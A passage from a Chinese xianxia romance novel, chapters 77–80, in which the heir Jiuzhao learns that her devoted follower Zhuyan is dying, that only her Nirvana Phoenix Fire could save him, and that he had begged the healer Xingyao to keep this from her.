他将九昭引向自己的房间内室,又郑而重之地关闭门窗,覆上结界,才开口问道。 九昭有些奇怪,保守秘密本是两人提早立下的约定,如今何必再多此一问。 她摇了摇头:“我又不是那等藏不住秘密的人。” 面对她这句自我评价,瀛罗的眸光微微一顿,似乎不敢苟同。 从观察到异样开始,九昭就在时刻关注他的表情变化,自是没有放过这点细节处的转变。 她倏忽记起曾有人评价过她胸无城府,总把心事挂在面上,又见瀛罗也是这般想法。 睑下肌肤瞬间热烫起来,她侧开头,难为情地伸手直推他肩膀:“哎呀,我说没有就是没有,你总在意这些鸡毛蒜皮的小事干嘛!快点和我说说你见到杏杳后发生了什么—— “我在祝晏体内发现的情况,你和杏杳提了吗,她怎么说?” 正是这个侧头的间隙,她错过了瀛罗又一阵变换的神色。 几息后,瀛罗话里有话的声音传入耳里:“祝晏公子的事,属下笨嘴拙舌的,一时也很难说清,老师叫我们明日就带着祝晏公子前去,届时见了老师,相信小姐的疑惑自会迎刃而解。” 明日。 居然这么快。 可这副神神秘秘的态度又是怎么回事? 自己想知道的事,他不能现在就告诉吗? 九昭意欲转过头继续追问,瀛罗又握住她的手,极其严肃地叮嘱:“拜访老师的事,小姐不要给祝晏预留太多时间,明日出发前再同他提起,记住,千万不能让他延迟或者更改时间。” …… 只差最后一步,瀛罗既说了要如何做,九昭也不愿违背他,导致结果出现偏差。 杏杳给出的见面世间在戌时。 翌日,九昭生等着酉时过半,才同祝晏说起。 得到消息的祝晏。眼神露出一瞬猝不及防的愕然,愣怔过后才喃喃:“带属下去见杏杳医仙、吗?之前从未听小姐提起,戌时便要抵达,眼下也没多少时间了,怎么会这么着急……?” 分明是有可能改善弱症的好事,青年的面容却没多少喜色。 他接下去说的话,印证了前头瀛罗的叮嘱。 更叫九昭心脏一沉,催生出并非喜兆的预感: “可我前面受伤昏迷,昼芙仙子帮忙顶替过几日差事,修养了这段日子,我自觉情况好了不少,想着明日是她轮值,便提前跟她说了换下她补回去。拜访杏杳医仙,让她重新诊治之事,谁也说不好只用一个晚上的时间足不足够——能否让我还完轮值的差事,再另外择选日子。” “不能。” 九昭硬邦邦挤出两个字。 “你可知我们为了你的事,拜托了杏杳多久,她才答应放下手上正在忙着研制的药方,抽出空来为你医治的吗?修补登天阶的半年之期还长,你与昼芙商量,换个日子偿还她就是。” 九昭同他相处,态度多数随和。 一旦拉下面色,祝晏便知没有回旋的余地。 他滞了滞,只好颔首答应:“我听小姐的。” …… 怎么好像除了自己以外,每个人都藏着心事! 设下传送阵,前往千里之外杏杳居所的道路上,九昭还在心有忿忿。 她望着一左一右立在自己身边的青年,他们没有一哥人表现出高兴向往的样子。就仿佛这一趟,是在奔赴刑场——这种气氛影响下,九昭的心情也被弄得七上八下起来。 好容易到了山野深处的医仙居所,他们又被侍奉门庭的药童告知:四方炉内炼制的仙药突然出了点问题,不知多久才能解决,让他们先在此处住上一晚,明日杏杳得空再来为祝晏把脉。 人的心志总是这样,一鼓作气,再而衰,三而竭。吃了一顿食之无味的纯素晚饭后,九昭坐在临时落脚的简陋小竹屋里,对于明天和大名鼎鼎的杏杳见面的期待感也下降了许多。 屋内的隔音不好。 哪怕闭紧大门,依旧阻挡不住院落四周竹林里传出的窸窸虫鸣。 九昭本想早些入眠,留足精力以待明朝。 谁知犯了认床的毛病,辗转反侧到深夜,躺在窄床上还是毫无困意。 “哎,外面的那些小虫子烦死了!” 她捂着脸抱怨一声坐起,将自己内心蒙在鼓里得不到答案的烦躁,通通归咎于外界的影响。 正想抄起袖子,跟竹林中的虫鸟们一决高下,一道天青色的身影无声显形在她床前。 伴随着青年身形的凝结,最高阶的结界禁制也围绕两人展开。 九昭睁大眼睛,被吓了一跳:“瀛、瀛瀛瀛罗,你大半夜不睡觉跑来我房里干什么?!” 信手引燃就近处的一盏灯火,幽微光亮衬得瀛罗眉眼较白日更加深沉莫测。 他竖起手指,嘘了一声,示意九昭降低说话音量,而后坐在她的身旁:“还有一个晚上,思来想去,对于明日之事,总该叫小姐有点心理准备。” “什么东西这么神秘?” 九昭虽口头不以为然,但心脏突突跳动起来。 瀛罗的复杂踌躇,祝晏的隐隐抗拒,以及到来时杏杳的变故横生。 这些情况她都看在眼里,原想着明天总能揭晓谜底,便故作轻松不疑。 眼下,事情都已经要紧到,瀛罗半夜不敲门出现在她床头了。 再扮成无知无觉的傻瓜就有些不合时宜。 九昭目光定在青年的面孔上,静等他开启下文。 却见他沉默捻动着中指上的世子印戒,像是终于下了一个天大的决定: “小姐,我曾和您说过,仅是年少时的一次相救,似乎不足以支撑祝晏公子对您如此一往情深,倾尽所有的行为——可如今,我想,或许我已经找到他这么做的缘由了。” “嗯?” 怎么看病这件事,会突然扯到她和祝晏的感情问题上面。 九昭跪坐在床上,视线怔怔,秀面迷茫。 ……这副天真不谙世事的模样,难怪会被一些人模人样的狐狸精欺骗。 瀛罗注视着她,心底涌出怜爱,以及都是狐狸精该死的情绪。 他一面暗自替九昭的轻信他人寻了个借口,一面叹出口气,正打算往下说。 却听见隔壁的祝晏房间,突然传来木门开启的轻响。 77| 第77章 ◎“痴儿。”◎ 大晚上的, 又在不熟悉的地界,他突然出门做什么? 两人心里不约而同冒出这个疑惑。 但相较探究祝晏出门的原因,九昭对瀛罗没说完的话更感兴趣。 她没再关注外界的动静, 一拉瀛罗的袖口, 催促道:“你怎么不往下说了?” 瀛罗却是抿住了薄唇,似有所感。 他结合自身目前掌握的真相,快速思考起祝晏的动机。 得出结论,对方大半夜出门, 大概率和自己无声出现在九昭卧房,所为同一件事—— 比起用嘴说,显然让九昭亲眼见证更有说服力。 短短几瞬, 瀛罗完成了想法的前后转变。 他反握住九昭的左手,油灯光亮映在他眼底,如同两簇来自深渊的幽芒:“真相,或许不需要由我来告知了——小姐不是想知道祝晏公子爱您的理由是什么吗?不如我们跟上去看看。” 秋夜瑟瑟, 渐生凉意。 九昭被青年毫无温度的目光凝视, 后颈倏忽浮起无数细小皮肤颗粒。 他这一刻如此郑重其事。 连日来, 又总是欲言复止。 可以想见祝晏情深义重的背后根由,大约不是好事。 真的要亲手揭开这层覆盖在真相之上的薄纱吗? 然而事情发展到了这个地步, 就算理智拒绝, 九昭的情感也已然将她高高架了上去。 她没有迟疑太久。 便吹灭油灯,同瀛罗一起隐去身形, 瞬移到了门外。 所幸祝晏没有离开太远。 沿着郁郁葱葱的竹林窄径没走几步, 九昭瞧见他站在侍奉小童居住的竹屋前, 正说些什么。 他拱手作揖, 表情颇为迫切。 小童摆手拒绝, 又架不住他锲而不舍。 不等九昭侧耳倾听, 两方的一番交谈便产生了结果。 小童尚年幼,论言辞不是祝晏的对手。 无奈颔首之后,领着他朝窄径的另一侧岔路走去。 九昭放轻脚步,坠在他们身后几丈外。 这里外环绕庭院的竹林设有五行迷阵,若不熟悉其中奥秘,常人往往迷困其中。 七拐八绕了一炷香的时间后,小童领着祝晏,来到了一处他们未见过的古旧高脚楼前。 站在陡峭竹阶下方,小童单手掐诀,变出只竹叶做的蜻蜓,上飞隐进闭合的房门内。 又对祝晏说道:“公子稍等,我家主人看到竹蜓,便会有所反应。” 能被小童称为主人。 料想此处住着的,定是杏杳。 九昭对杏杳的长相没什么印象,自然对其他习惯更加没有。 她有些奇怪堂堂天仙之尊,竟然会选择这座看起来快要散架的屋子作为起居地。 没过多久,竹阶顶处的大门无声打开,一道清亮的女声传来:“祝晏仙君,请进。” “主人相邀,公子直接登上台阶进屋便是。”小童收起飞回的蜻蜓,重新化作细长竹叶,垂首对他行了一礼,“我会在此等候,待公子出来时,重新带领您回到客房。” 祝晏低声回了句多谢。 鞋底踏上竹阶,年代久远的高脚楼也随之发出吱嘎吱嘎的声响。 “马上就要进入老师的主屋了,小姐切记不可随意动用法术。我们与老师同在天仙阶位,老师修行年数又长于我等,一旦产生仙力波动,容易被她察觉。” 在三人到来前,瀛罗独自登门拜访过一次。 因此对于一切情况见怪不怪,他侧耳叮嘱两句,两人加快步伐,在大门关闭前进入其中。 高脚楼内别有洞天。 空间比外界看上去大上不少。 显然杏杳起居、坐卧、炼药皆在此处。 除开一张九昭屋内同款窄床和招待客人、日常吃饭用的圆几方椅,便是数不清的高大药柜。每一座药柜从上到下排布着大小相同的黑褐色抽屉,上面用黄纸贴着药材的名字。 地上、药柜的空隙处、还有放置炼药工具的架子上,随意堆放着三界的医书典籍。 浏览完房间的布局,脸庞还沾染着不知名黑灰的杏杳,便在这种情况下映入九昭的眼帘。 她素面朝天,布衣荆衩,一头乌压压的黑发随意挽起,身量矮小,清秀稚气如同芸生世未及笄的少女——唯独两弯上挑的凤眼,透着历经星霜屡移后的淡然清明。 她抬手,并不抬头,相隔一尊小巧的四方炼药炉,请祝晏相坐谈话。 九昭便拉着瀛罗,挑选了一处好歹没那么局促的角落站过去。 “几万年不见,祝晏仙君竟还活着,也是不容易。” 杏杳一开口,九昭立刻明白了她为何会被人评价为“性格古怪”。 她忍不住盯住对方,打算多看两眼,余光又被一席逶迤至地的雪白吸引。 面对杏杳阴阳怪气的话语,祝晏不答,只施法散去瞳发的伪装,变回三清天时的模样。 冰雪般的银发散落背后,成为这个被漆黑棕灰填满的屋子里,唯一的亮色。 那头,满心满眼都是自己面前这尊四方炉的杏杳,也终于抬起了面孔。 她粗略打量青年的白发一眼,更加直白的第二句话接踵而至:“你的头发变成这样,连我在神药署后院养来拔毛取血的朏朏都没你白,应该大限将至,没几天好活了吧?” 此话一出,九昭睁大眼睛。 盛年早衰和没几天能活,又是两个完全不同的定义。 前者她想着再不济,总还有万把年时间作为缓冲,一切不至于那么糟糕。 后者却告诉她,随时随地或许就要接受他的逝去。 ……祝晏怎么会连如此要紧的事情都瞒着自己? 九昭抓紧衣袖,得知真相的眼神既错愕又心痛。 就连瀛罗也没控制住讶异的表情。 前些日子,他来面见老师,老师并未提起过这件事—— 然而,叫九昭越发心情动荡的,还在杏杳说出的下一句。 她信手抹了抹面孔,光洁皮肤上又添一道灰痕:“所以,你这次应约登门,是已经说服跟着来的那位九昭神姬,她愿意献出涅槃凤火,为你淬炼仙脉,延续生机了?” 祝晏依旧坐着,默默不语。 好似一具在灼烈火光下逐渐失去生息的美丽冰雕。 “……?” 这又是什么意思。 怎么前脚说完要死了,后脚又说有的救—— 到底还有多少惊喜不是她不知道的?! 九昭下意识看了看瀛罗。 然而,内心发生剧烈动荡的只有她自己,瀛罗一副平静自若,波澜不惊的模样。 九昭马上意识到,早在前一天瀛罗与杏杳这对师徒见面时,他便已经知道了这个真相。 思及此,她瞥过去的目光变为瞪,其中夹杂怒意和不解的情绪如有实质。 既选择领她来此,瀛罗就提前设想过了一切,也做好了应对的准备。不方便动用密音入耳的仙术,他以手指为笔,在九昭掌心一笔一划写下前因后果: “我深更半夜出现你屋里,想跟你说的便是这个。昨日老师告诉我,祝晏体内的残缺仙脉,唯有经过最高阶的涅槃凤火淬炼,才能脱胎换骨,洗髓重生,改变早衰的命格。所以,我猜测,祝晏靠近你,拼命用各种行为打动你,就是为了让你心甘情愿救他的命。” 瀛罗刚写完最后一个字,九昭来不及回应,不远处的磕头声又把两人的注意力吸引去。 只见祝晏双手交叠,持平于胸,浑然不顾身份,叩首在地,一下又一下,口中隐有恳切之声:“涅槃凤火能救我的事情,九昭殿下并不知晓,我漏夜前来打扰仙长,为的便是此事——” “怎么?” 杏杳抱着手臂,乜起眼睛,“你怕从你这里听见,九昭并不相信,需要我代为说明?” “并非——” 祝晏拔高声量,打断了她的猜测。他膝行两步,靠近杏杳身畔,苍白面孔被炉下悬浮的九曜火光照亮,“晏只想恳请仙长,不要将这个能救我命的办法告诉殿下!” 对方用意竟是如此。 杏杳一怔:“为何?” 她居高临下俯视着他,“不为救命,那她大费周章带你来这里作甚?” 祝晏顿了顿:“瀛罗世子是仙长的学生,素来心思缜密,许是看穿了什么,才会……” 言辞涉及瀛罗,祝晏仅是点到即止。 又再次叩首,拳拳表明心意:“我深爱九昭殿下,也知晓若想练成最高阶的涅槃凤火,需要付出多么大的代价,承受多少痛苦,我不舍得,也不愿意让九昭殿下为我如此—— “就算大限将至,总还有百年好活。 “哪怕没有百年,只能如同蜉蝣般朝生暮死…… “能够这样陪伴在殿下身边,也足够了。” 祝晏说完话,室内陷入缄默。 杏杳望着他,又偏转视线,看向自己炉内承受真火淬炼的仙药。 “你想不想要这条命,本也与我无关,随你心意。” 她终是板着脸,寒声评价道,“痴儿。” 祝晏伏地,久久未曾抬头。 …… 将后半截的真相拼凑完整,却发现和自身预料的相去甚远。瀛罗的喉结滚动着,倏忽有些不敢去看九昭的神色。生平头一次,他有些后悔起自己行为的莽撞和愚蠢。 本想借此彻底摧毁情敌,不成想误打误撞成为了对方的助力。 错误已然铸成,捶胸顿足的后悔,没有任何意义。瀛罗又摸索起垂在手边的、九昭的手掌,意欲告诉她冷静,等到返回竹屋,对于祝晏隐瞒的事情,他们还有商量的余地。 然而。 仅差一个迟疑。 九昭如同脱网的蝴蝶一般自他身畔飞了出去。 隐匿术就此解除,她的身形赫然出现在祝晏背后。 痛恼难辨的质问声随之响起: “祝晏,你到底还想隐瞒我些什么?!” 78| 第78章 ◎“你的答案呢?”◎ “小、小姐——” 听到九昭的声音, 祝晏如梦初醒扭过头去。 又看见不仅是九昭,慢一步显形的瀛罗也在她身边时,最后一点血色自他两颊褪了个干净。 “你们为何会出现在我这里?”起初的惊讶过后, 杏杳的脸色也跟着沉了下来, “竟然隐匿身形随意闯进别人家里,九昭神姬,你怎么这般无礼?!” 被人欺骗的愤懑尚在心口盘旋,杏杳不客气的质问入耳, 九昭立即想起她与祝晏交谈时的多番挖苦,于是寒声呵斥道:“放肆,杏杳!本殿为君, 你为臣,你胆敢指责本殿无礼?别以为在芸生世就可以不遵守三清天的规矩了,你如此对待储君,本殿可以就地将你治罪!” 杏杳云游万载, 早就散漫惯了。 话语出口几息, 她后知后觉地意识到站在自己对面的, 是整个三清天未来的帝君。 来不及改口,九昭的怒意便如雷霆迅至。 自觉理亏, 僵立一息后, 杏杳垂首长揖到底:“臣杏杳,见过殿下, 还请殿下恕我罪行。” 瀛罗亦打起圆场:“殿下同老师一路性情, 生平最是不拘小节, 有什么话说开了就好了。” 如此不够, 他担心九昭怒气难消, 又覆耳过去:“关注重点, 还是祝晏公子的病更紧要。” 被瀛罗提醒,九昭的目光依然寒意冽洌。 她故意不叫起身,晾着维持行礼姿态的杏杳,缓步经过她身边。待转头坐在屋内唯一的主位之上,她合并两指,向左一划,将四方炉连炉带火瞬移到角落,才漫不经心道:“起来吧。” 眼见九昭占了位置,又恣意对待自己的宝贝药炉,杏杳气得眉心突突直跳。 奈何绝对的强权在前,她心里兀自较劲片刻,最终忍耐下来,走到闭合的窗台边站着。 转眼,只剩下一个站也不是,坐也不是的瀛罗。 他的视线在九昭和杏杳之间徘徊,犹豫一瞬,选择与接受审判的祝晏并肩跪坐在一处。 一切各就各位之后—— 祝晏听到了自从他和九昭相识以来,对方发出的,最平静,也是最压抑的声音: “讲讲吧,一切都是怎么回事。 “把事情一五一十都讲清楚。 “若有半句假话,我必不再见你。” 死,祝晏不那么害怕。 可余生无法再见到九昭,不啻于立刻要了他的命。 祝晏嘴巴张了又合,合了又张,在九昭一瞬不瞬的视线注视之下,垂首交代起来。 …… 事情的真相,和九昭隐身时探听到的相差无几。 此刻,她最关心的只有一件事。 “所以,没几日好活,究竟是几日?” 面对九昭的询问,祝晏喉咙滚动几下,难作回答。 就在气氛即将陷入尴尬时,一旁看好戏的杏杳凉凉道:“要是再上演个斩初生尾,受致命伤,怕是祖神娘娘显灵,也活不过十年。若从现在开始好好修养,总还有一二百年能过。” 无论十年还是一二百年。 都太短太短了。 对于他们这等天赋强大的神仙而言,不过是白驹踏隙,一眨眼就逝去了。 幸而经过一顿折腾,九昭有了一定的心理准备。 她呼吸微微滞涩,又极力装出镇定自若的模样,继续问道:“还有最高阶涅槃凤火的事。” 祝晏却咬住牙关,怎么也不愿提起。 他的倔强,引得杏杳发出一声嗤笑。 这笑,却是对着九昭: “这种有关凤凰族的最高机密,殿下身为凤凰,居然不知道—— “还要劳烦我们这等下臣外人来告知。” 话是一贯的尖酸刻薄,好在杏杳没绕关子。 从她言简意赅的话语中,九昭了解了祝晏弱症背后的全部真相—— 涅槃凤火,是凤凰族最高阶的术法。修炼至顶层时,不仅拥有以一敌万的强大杀伤力,其生生不息,涅槃重展的特性,还能为人续髓接骨,再续命格。 而想要问鼎术法顶层,凤凰真血之脉,凤凰神树之力,两样条件,缺一不可。 这就意味着,唯有凤凰族的双生君主才能达成。 九昭继承了神后太婀的一半真血,已然具备了第一项条件。 可凤凰神树,却在凤凰族集体叛天后,得不到本命翎的反哺供养,早已枯萎万年。 单凭九昭一人,力量有限,就算拔光自己的本命翎,也不可能让凤凰神树恢复生机。 那么,还剩下另一个办法。 闯进关押罪仙恶神的无日渊,取得巫劭昔日坐骑,半神烛龙的颌下珠。 烛龙司火,颌下珠蕴含至阳神力。 一颗的力量,便可以催开凤凰神树。 奈何烛龙在长于三清天时,就因着是仙魔相爱诞生的混血,差点活不下来。 后来,还是他的母亲曦葵天仙,于两界交战时,亲手杀死了魔族的爱侣,挽回自己昔日犯下的大错。又力竭战死,用生命与焚业海划清界限,才保住了烛龙一命。 从小到大,他备受歧视冷眼,唯有巫劭欣赏他、庇护他,让他投身军队,创造了一番功绩。 神仙意欲寸进,须得理清自身爱欲。 烛龙自降世起,便无父、无母、无人亲近。 他性格沉默顽固,天赋出众,且无感情影响,自是一块修行的好材料。 四万六千岁时,因半魔之身登神失败,遭九十九道天雷劈诸而不死,意外变作半神。 五万岁,巫劭起兵反叛,他心甘情愿随巫劭堕天,成为他的坐骑,以及军前一方悍将。 烛龙作战舍生忘死,让三清天大军吃了不少苦头。 后巫劭失败,神帝便下旨擒来他们,投入无日渊中,不生不死,承受无尽折磨。 …… 随着杏杳讲述到尾声,瀛罗的眉头越蹙越紧。 他遽然打断对方,表情沉重肃穆,话音亦不复素日的亲和随和:“小姐,不提万年过去,那受罪于无日渊中的烛龙是否还活着。就算活着,他为半神,我等至多不过天仙,仙神之间的实力差距如同相隔天堑——那颌下珠,断断不是我等可以取来的。” 杏杳同祝晏非亲非故。 他是死是活,她自然也不会有触动。 秉承着客观的角度,她应和瀛罗道:“是啊,不奉神帝旨意闯进无日渊是大罪。更何况,不是催开凤凰树,祝晏仙君就可以活了——想练成顶阶术法,九昭殿下需要重新变回一颗蛋,藏在凤凰神树的中腔,忍受七七四十九年的涅槃火焚烧,若在此期间能够领悟,便可大功告成。 “若不能,哪怕殿下是堂堂凤凰女君,也会化作灰烬,一身仙力尽归神树所有。” 涅槃凤火的功法苛刻。 凤凰族历代十数位双生君主,能够大成的,仅仅巫劭一人。 自他失败被囚,相关的内容便在三清天逐渐消失,就连博学广识的瀛罗也并不了解多少。 唯有杏杳这般活成老怪物的天仙上神,才会知晓的这么详细。 如今,借由她的嘴,九昭还原了遗失的涅槃凤火功法之秘。 可—— “我不同意。” “我不同意!” 两道声线各异的反对同步响起。 声音的主人,祝晏与瀛罗相视一眼,还未说出下一句。 那头看热闹不嫌事大的杏杳,接过话茬,慢吞吞说道:“其实,我也不同意。 “臣好不容易才得到帝座亲令,可以不用坐职,按照心意,自由往返芸生世和三清天。 “殿下您若是为着臣的几句话,真去擅闯无日渊,夺取那半神烛龙的颌下珠——到时候怪罪下来,就算臣不被立刻打入仙牢,也定是关在神医署,半步都出不去了。” 瀛罗亦道:“老师说得对,就算屋里的我们全部加起来,也不及殿下您重要。” 他们一师一徒,你方唱罢我登场。 吵得九昭耳朵嗡嗡直响,好似有千万蚊蝇在身边飞舞。 她冷着脸不说话,待到他们劝无可劝,才抬起双眼,凝视着祝晏,问道:“若我说,我心甘情愿为你做这一切,你怎么想?是否愿意答应我,治好弱症,从此以后努力活下去?” 询问既出,譬如惊雷。 饶是沉稳如瀛罗也再难控制神容。 他半直起身,急急唤道:“殿下不可——” “闭嘴。” 一个最低阶的消声术甩过去,纵然不对瀛罗起到作用,也表明了九昭的决心。 她仍然眼也不眨地盯着祝晏。 心中想到,他不爱惜性命的种种行径,原来是早就心存死意。 …… 没有人是不怕死的。 说到底,神仙也不过是权位力量的囚徒。 毕生汲汲营营着问鼎神位,走向三清天的更高处。 若能力天赋不足,唯有寿数的无尽延长,才能最大程度支持他们的野心和期望。 爱一个人,爱到为了不让其受伤,甘愿放弃性命。 这样的事,九昭只在自己的父母身上见证过。 如今,祝晏又一次将它变成了真实。 明明就算说出口,她也有贪生怕死,不愿冒着危险救他的可能性,他却为了将那一点点微乎其微的成功概率抹杀,而选择漏夜出门,跪倒在杏杳面前,苦苦哀求她守口如瓶。 看吧。 想要一个人证明他的爱意。 曾经“难道要把他胸膛剖开,献出心脏”的笑语,变成了命定的谶言。 认知被摧毁,信仰被重构的过程里,九昭的神魂好似抽离了躯壳。 漂浮在半空中,冷眼旁观着这具躯体,试图掩盖动容无措,而强撑出来的疾言厉色。 坚硬的外壳持续消解,某种迫切想要回应的声响,在九昭的胸腔中怦怦飘荡着。 她再次追问道:“那么,祝晏——你的答案呢?” 79| 第79章 ◎“你还是要去,对吗?”◎ 祝晏依旧摇了摇头。 回答道:“臣不愿。” 不是“我”, 不是“属下”,而是“臣”。 知晓自己命不久矣时的绝望,请求杏杳不要告知真相时的哀伤, 以及猝不及防被九昭发现时的慌乱……种种纷杂的情绪, 一点一点从那双胜似翡翠潋滟的眼眸中消失。 祝晏双手交叠,高举过首,朝着九昭,恭恭敬敬行完臣下叩拜君主的大礼。 再抬起眼, 从来坚定选择坚定奔赴的他,轻轻吐出一句话:“是臣错了。” 九昭没料到在被拒绝后,青年紧接着会做出这样的反应, 瞳孔边缘下意识扩张开来。 又听见祝晏说道:“臣错在、不应不满贱妾所出庶子的身份,心中常有与孟楚兄长一争高下的想法。臣错在那年留春宴,不该对那高高悬挂在林梢之间的蟠桃起了贪念。 “臣更错在,起了、起了贪念, 还不懂得克制, 感受过殿下身上释放出来的, 不求回报的善意,便像常年生活在阴冷沟渠中的老鼠般, 渴望阳光、长久照耀在臣的身上。” 说完这番话, 仿佛心绪起伏难平,祝宴捂住胸口, 喉咙剧烈吸气两声。 他缓了几息, 半阖着眼, 转过同九昭对视的面孔, “臣这一生, 总是步步选择, 步步错…… “本想听从内心一次,在死去前能不计名分,做个玩物也好,侍从也罢,陪伴在殿下身边,满足最后的心愿。却隐瞒不好、自己最想藏起的秘密,以至于让殿下落到如今两难的境地。” 他摁在胸膛的手掌越发使力,那挺直似青竹的身量也渐渐矮了下去,像是不忍再说,又不得不说,“若叫、殿下为臣涉险,臣这一副、一副残躯,哪怕死上千万次,也是不足够的。 “所以,臣不再痴心妄想了。 “请殿下放过臣吧……趁着您,还未对臣,付出太多感情。” 祝晏竟是在提断绝关系。 森林里,他一路追逐着她,脚掌被锐石刺破穿透时,不愿短缺。 登天阶旁,被断尾之痛折磨得快要濒死过去时,不愿断绝。 如今,她心甘情愿救他,想要让他好好活下去,他反而打算断绝。 九昭怒极反笑,笑声轻飘飘的:“祝晏,你以为你是谁,居然敢对本殿说出放过二字?” 祝晏没有回答。 他的身体颤抖几下,又一次伏地叩首。 咚、咚、咚。 额头与坚硬的木制地板不断相触,如同沉闷的鼓声一下又一下地敲击着九昭的心脏。 纵使瀛罗亦不忍,开口欲劝:“殿下,祝晏公子他——” 阻断他的,是九昭掀翻手边矮案,膝行过去掐住祝晏下巴的声音:“我说过,有了兰祁和扶胥的前车之鉴,若有第三个人背弃我,我定让他承受万般折磨,再将他挫骨扬灰!” 祝晏被迫停止口头哀求,下颌处传来的剧痛,令他半遮瞳眸的长睫禁不住地颤抖。 这个时候,他竟然也勾起了唇角,强忍疼痛的面孔,和唇畔的微笑,形成一幅怪异而凄美的画面:“好啊,反正臣终有一死,若能死在殿下手中……也算得偿所愿。” “你!” 明知对方在激将自己,九昭还是被气得眼梢一红。 蜿蜒血丝袭上明亮的双眼,九昭的视线下移,落在掌中青年修长的颈项上。 反正,经历的每段感情都是痛苦,不如这一段,就由她来亲手结束—— 失控的念头在脑海骤现,没等九昭进行下一步,祝晏又变化面色,再度难受地嗬嗬起来。 此等反应,似曾相识。 九昭下意识放轻了力道,一向顺从的青年,却突然不顾她的意愿,非要低下头去。 有手指阻碍,这一下自是没有成功。 伴随一声噗的轻响,祝晏反手握住她的后背,面颊肌肉抽搐着,鲜红血液被猛地咳出。 呈溅射状的鲜血一半落在两人交叠的双手上,一半染上九昭的前襟。 九昭惊得不敢再动。 见祝晏用力咳嗽几声,血液又断断续续涌出,整个身子软了下去,连忙撑住他的双臂,将他抱在怀中,一面瞳孔失焦地询问瀛罗:“今天,是什么日子?” 瀛罗掐指算道:“十三、十四……总不会超过十五。” 听到这个回答,待在窗边的杏杳面色一变。 她快速赶来九昭和祝晏身边,探指搭在祝晏脉上,一缕丝线般的仙力进入体内。 不多时,她眼神凝重:“不好,受到断尾之伤的影响,他的弱症发作时间提前了!” 本至十五满月夜晚,弱症才会出现,且症状由浅至深,依次递进。 现在不过是十四日的夜半,祝晏便已经出现呕血的最严重表现。 耳畔闯入青年模糊不清的呓语,九昭定了定慌乱的心神,从腰间解下白尾问道:“祝晏的初生尾就在我这,当时斩落的一瞬间便用仙力封结了伤处,现在可还有为他重新接上的可能?” 杏杳释放最高阶的治愈术,为祝晏稳定情况,余光瞧见那蜷在九昭掌心的茸茸白尾,表情愈发复杂:“初生尾既断,就再无相接的可能,只能小心保护,不使其受到外力伤害……九昭殿下,臣虽不想多嘴,但这祝晏仙君当真爱您,竟然将自己的命和一颗心全都交到了您手中。” 九昭木着脸,左手轻拍祝晏后背,防止他被喉管里源源不断溢出的鲜血堵塞呼吸。 说了几句意味不明但能给人最大程度添堵的废话后,杏杳的语速陡然加快:“要不,还是将他送回三清天吧?芸生世仙力稀薄,根本不利于他养伤。练成涅槃凤火倒是其次,当务之急,是先找个仙力浓郁的地方,温养他的身体。否则,根本等不到几十年后您功法大成——” 送回三清天,不提让祝晏重新住到孟楚和北神王眼皮底下,有多么不方便——单论九昭这边督工的差事还有大半没结束,等到小半年后再去思考修炼涅槃凤火,一切早就已经来不及了。 那边,癔症轻了点的祝晏又握着她的手,开始苦苦哀求:“殿下,放弃我吧……能得一时相伴、晏已经心满意足了,不要将我送回三清天,最后的日子,我、我只想守在您身边……” 两厢夹击,催促着立时做出决定。 九昭心火焦灼。 一个须臾,千头万绪渐次在脑海衰败复生。 她一时觉得俱是痛苦,无处指望,一时又灵光闪过,骤见清明。 左右为难之间,她咬住舌尖,激痛促使身体并指为刀,率先劈晕了痴缠的祝晏。 世界安静了。 作为医生的杏杳,为她如此粗暴对待病人的行径感到吃惊,张大了嘴正说不出话,跪坐在旁的瀛罗已然心领神会地问询:“殿下,祝晏仙君失去了神志,是否需要臣先将他遣送回去?” 九昭摇首。 她将昏迷的青年暂时推入瀛罗臂弯,双手绕到颈后,解下打出生起就形影不离的长乐命牌。 徒手抹去上面的禁制,九昭施术将祝晏的身形虚化,引入命牌当中。 瀛罗一愣:“殿下,这是神后殿下留给您的念想……” “我知道。” 九昭融入与自己母亲同源的力量,修改了命牌的限制,将它递到杏杳眼前,“你拿着。” 她嘱咐道:“神力与仙力不同,不受天道桎梏,我便将他留在母神赠我的境阙中调养身体,上面的禁制我已修改过,方便你随时进入其中查看他的情况,这些天,命牌就留在你这里。” 杏杳被迫接下,语气颇为无奈:“殿下就非要将臣这一把老骨头拉入泥潭吗?” 九昭低声道:“谁叫你几万年前治不好他!” 杏杳被她呛了一句,罕见地没有张嘴互怼。 她用指腹摩挲了两下命牌的凤凰纹路,又收到作为徒弟的瀛罗眼神恳请。 犹豫片刻,仿佛自我劝慰一般呢喃道:“你是三清天的储君,又是神后留下的唯一爱女,就算闯进无日渊,取烛龙颌下珠之事真的被人发现,料想帝座也不至于为此贬黜你…… “罢了,既上了这条贼船,哪里还有容我拒绝的道理。” …… 解决祝晏的问题,杏杳道夜色已深,九昭和瀛罗可以先回竹林休憩一晚,明朝再从长计议。 小童领他们返回的路上,二人无话。 偶尔瞥见瀛罗满快要溢出来的眼神,九昭心中却是揣杂着许多事,一时难以主动开口。 约莫一刻钟后,熟悉的竹屋出现在面前。 九昭进入屋内,没有点亮油灯,在黑暗中默默换衣清洁。 没有什么从长计议,她既做出了决定,也不想多连累他人,夜半正是离开的最好时机。 打定主意,九昭刻意多待了片刻,猜测瀛罗回屋休憩,便释放传送术想走。 谁知仙力甫一运转,屋门就被人敲响。 九昭浑身一僵。 门外之人说道:“殿下,请您开门。” …… 微寒的夜风拂在脸上,连带高悬苍穹的月色都透着几分料峭。 九昭撑住门框的双手不动,望向默默站在门外,将自己面前视野全部遮挡的青年。 “你还是要去,对吗?半点犹豫也没有。” 瀛罗的话语似是疑问,尾音处却透着认命的叹息。 “是。” 九昭寥声应下,“你别拦我,今天的事,你就装作不知道,杏杳的竹林,你也没来过。我所做的一切,自然不会连累你——回到天上,你依旧好好做你的西神王世子。” 或许是九昭点头的动作太过决绝,又或许是被她撇清干系的态度激到,瀛罗一言不发上前半步,以一种失礼的力道捏住她的双肩,迫使她放下撑住门框的手。 将她从头到尾审视一遍,瀛罗一字一句问道:“你知不知道你是什么身份,那祝晏又是什么身份?死他一个,不会对三清天造成任何影响,可你若出了差错,帝座第一个便要伤心欲绝。” 九昭沉默着。 感受到瀛罗箍住皮肉的手指越来越紧,才轻声说:“我知道,我当然都知道……可我也知道,如果就这样亏欠着一个人的情意,再放手任凭他死去,恐怕我从此以后都不会感到安乐。” 80| 第80章 ◎“臣会拼上性命,守护殿下的安全。”◎ 九昭性格倔强, 她决定的事,无人可以改变。 此刻,她尽管话音彷徨, 目中的两簇火苗, 却不随夜风浮荡而出现片刻动摇。 瀛罗吸了口气,撤开握住她双肩的手,缓慢向后退去。 